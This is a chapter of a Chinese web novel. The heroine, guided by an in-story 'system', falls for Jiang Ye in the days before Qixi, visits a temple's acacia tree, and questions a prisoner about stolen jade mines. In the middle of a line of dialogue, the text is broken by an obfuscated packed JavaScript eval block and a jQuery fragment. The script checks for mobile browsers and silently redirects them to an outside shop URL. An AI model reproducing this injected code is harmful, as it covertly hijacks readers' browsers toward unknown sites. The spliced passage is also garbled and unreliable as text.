这回没有犹豫,念一按下【开启。】
既然剧情方向已经和原著甩出个十万八千里了,那么,七夕道算什么?她不去七夕道,不就什么都不会发生了吗?
区区副本,她不在话下......小声蛐蛐:打工人没得选。
……
念一万万没想到的是,自从她救了江也一命之后,江也越来越像……她家的狗砸???
还是那种最忠诚的狗。
那种一心讨主人欢心的狗!
云之桃包扎时,江也等在门外,踱来踱去,时不时朝门内问几声:
“需要我去取什么吗?”
“念一你还疼不疼?”
“念一我买了糖,太疼的话,一会儿出来吃!”
……
念一当然是不疼的,但他那焦急踱步的样子,实在是像极了她家等着主人的看门狗。
她一想到这个,就忍不住笑,一笑就炸开了伤口,把云之桃这位小医仙吓得魂都飞了。
手术好不容易完成了,江也已经买了各式各样的糖果放到了念一面前。
松花糖、饴糖、高粱糖……
十分神奇的是,这些糖,每一样都是念一爷爷时常买的,也是她小时候最喜欢吃的。
糖入口中,丝丝清甜。
念一忽然想起了什么,震惊道:“业绩狗狗!我那省电上司,什么时候把味觉开了?”
【刚刚。】
“……什么???”
书中这位江也,顶着她上司那张俊脸,朝她展颜一笑。
这个笑容,时常能迷得公司上下的女孩七荤八素,但念一越看越鬼畜。不知为何,她总有一种……这位江也是上司穿书过来的错觉。
江也眉眼弯弯,“好吃吗?”
“好……好吃……”
念一赶忙把这个错觉从脑海中抹去,摇了摇头。
“看来是不好吃。”
江也却误会了她摇头的意思。
念一忙说:“不!我摇头是因为……因为……”憋了半晌,才接着说,“想家。”
江也一愣。
他眸子闪过一丝错愕和愧疚,一闪而过,没有让念一捕捉到。
他说:“这样啊。那你好好养伤,伤养好了,我们去临安第一寺里去给家人祈福,好不好?”
“不用……”
江也哄小孩的声音过于温柔,念一心里一酥,又摇了摇头,道:“我伤好了,我们现在去吧!”
“不行。”
……
一个时辰后,念一在江也背上,看到了临安第一寺金灿灿的大牌匾。
“真的,放我下来吧。”
“你有伤在身。”
“……我腿又没断!”
在寺庙里还这般背着,卿卿我我,就算念一脸皮厚得比肩铜墙铁壁,也想钻个洞把自己埋了!
江也却脸皮奇厚,面不改色。
……这一点,也像狗子。
临安第一寺,不愧是名字里带了“第一”的,香火旺盛,人来人往。寺庙里不少人都点了高香,频频拜佛。
但念一的目光,却只被寺庙正中央的一颗巨树所吸引。
“这是……”
江也道:“相思树。”
这名字一出来,念一都快能哼起某红娘的主题曲了,“等待命运的回答~来相思树下~”
齐天大树挂满红色的祈福牌,在风中摇曳,碰撞出银铃一般的脆响。男男女女把彼此的祈福牌挂在树枝上,双手合十,诉说美好愿景。
这本来十分美好,然而……
为什么能有这么多人?这和下饺子有区别吗?!
江也似乎读懂了她的表情,解释道:“还有九天,就到七夕了。人多,很正常。”
七夕……
虽然江也好感度已然刷满,但念一心里还是隐隐有一丝惴惴不安,总感觉七夕这天,不会让她平安度过。
这时,江也已经拿了两块祈福牌。
这牌子是木制的,留有阵阵清香,红色的漆在木头上,极为喜庆。
二人写了祈愿辞,排队等着挂到相思树上。
他们前方是一对情侣,似乎新婚不久,挽着彼此的手,一人一句背着相思的诗——
“天长地久有时尽。”
“此恨绵绵无绝期。”
念一和江也听了,一个红了脸,一个红了耳根。
念一呢喃道:“真是浪漫呢……”
话音刚落,一个滚烫的吻,就印在了她脸上!炽热柔软的触感,从脸颊酥到心间,她脸红得像煮熟了一般。
“江也!”
她回头嗔他,江也却装作什么也没发生,抱着手气定神闲地继续排队。
念一摸着滚烫的脸颊,后知后觉地想——
她好像,得了个便宜男友?
遥想初遇之时,念一耳膜快要被周围一圈“江狱司好帅”“老夫的少女心”等等尖叫声喊破之时,扫了一眼评审台上的这位狱司。
第一印象,就是这人太拽。
说话拽,做事拽,不修边幅无法无天……究竟是什么时候,变成身边这只奶狗的???
她只感觉脸颊更滚烫了。
一眨眼,二人就到了相思树下。
系统的场景变换功能,极识好歹地省去了排队的过程,前方那对打情骂俏的情侣早已执手而走,前方,只看到这一颗承载着万千愿景的巨树。树影婆娑,红绸飘荡。
挂上红牌,合十祈福。
说实话,念一真不知道江也红牌上写了什么,便偷偷去看。
江也却不给她看,把红牌翻了个面。
念一只得作罢,啐了一声“小学生”。
......
距七夕仅剩八天。
这一天,念一都像个小公主一般,窝在江也的左狱司府中养伤。衣来伸手,饭来张口。江也有公务要忙,便把吃穿用度一切安排好,让念一等他回来。
念一在公司里哪里有过这种老板待遇?开心得不行,躺下就不想起来。
......
距七夕仅剩七天。
念一在左狱司府中像个祖宗一样,自然要被这个府邸真正的祖宗嫌弃上。江也父亲江玉,时常见念一不顺眼,含沙射影说了不少骂她的话。
很可惜,这位老古董压根骂不过新时代十一世纪年轻人,甘拜下风,气得把骂人对象换成了儿子江也。
阿朝和阿夕有时和江也一同外出办事,有时就在府中陪着念一瞎胡闹,唱什么“最炫民族风”。然而,都到这个份上了,念一却十分惊奇地发现,阿朝和江也的婚约并没有解除。
一问,阿朝就说:“等一等
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368491|139808||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,七夕再说。”
她依旧认为,七夕订婚日,念一在七夕道把江也拐走了,江也才算出轨。
原著中七夕道女主实在是惨,念一本以为不用再去那个修罗场,没想到事与愿违。于是,她着手准备起自己的备用计划——攻略阿朝计划。
......
距七夕仅剩六天。
念一的伤口已经完全结痂,江也一走,她一溜烟就跑回自家藕坊去照顾生意了。
出乎她的意料,藕坊生意兴隆,日进千金!
沉醉在发财进宝的美梦中,念一被业绩君催得头大——
【户主。当前支线任务进度30%。】
“我知道了。”
【户主!当前支线任务进度30%!】
“......我知道了!”
【户主!!!当前支线任务进度30%!!!】
“......尼玛知道了!!!”
没办法,念一只好开始动用快要生锈的脑子,去思考思考这个支线任务了。她要找私吞玉矿的主人,目前唯一的线索还是尚清梦。
然而,尚清梦在右狱司的大牢中。
右狱司墨非晚,念一熟啊,毕竟是《临安第一鉴情师》第四个副本的猎物嘛,他是什么样貌是什么品行,念一都心知肚明。但就是因为心知肚明,对于这个心狠手辣之人,她还是有些惧怕。
大牢内部传来熟悉的嗓音:
“右狱司,先来后到,犯人可不能随便转移。”
是江也!
此刻,江也穿着官府,更显得身形颀长。
他眉眼一改平日的闲散,尽是狠戾,和墨非晚谈判尚清梦的归属权。
尚清梦就如同商品一般,被争来争去,在大牢里端坐。
说来也奇怪,他就算是在大牢里,身上也有一股清冷孤傲之气,坐得笔挺,闭目养神。
本来牢狱这种地方,是念一无法进来的。但好巧不巧,就如同江也的笑面佛组织有光头强的暗号,墨非晚的右狱司府中也有一个组织,暗号也十分好记——对问什么雕比较好玩,回答沙雕。
咳咳......
念一暂时不去吐槽原著诸多槽点,偷偷见尚清梦。
果不其然,一见面就听到了业绩君的机械音——
【恭喜户主!和关键人物尚清梦会面,当前支线任务进度35%】
念一直奔主题:“尚公子,请问私吞玉矿者是何人?”
尚清梦却说:“阿念,你受伤了?”
“不重要!”
念一道:“谁私吞了玉矿?”
尚清梦:“阿念,是不是江也伤了你?”
念一:“......不是。我最后问一遍,是谁伤了......我靠我怎么被带偏了?请问,是谁私吞了玉矿?”
尚清梦:“我送过你一个玉佩......”
听着江也和墨非晚的声音越来越近,念一快被尚清梦的已读乱回逼疯了。
但尚清梦下一句话,却忽然和玉矿有了关系——
“那个玉佩,是最好的冻飘青花玉,是不是在江也手中?”
【恭喜户主!当前任务进度40%。再接再厉哦~】
念一恍若迎头泼来一盆冷水。
……她的便宜男友,是为了玉矿才接近她的吗??!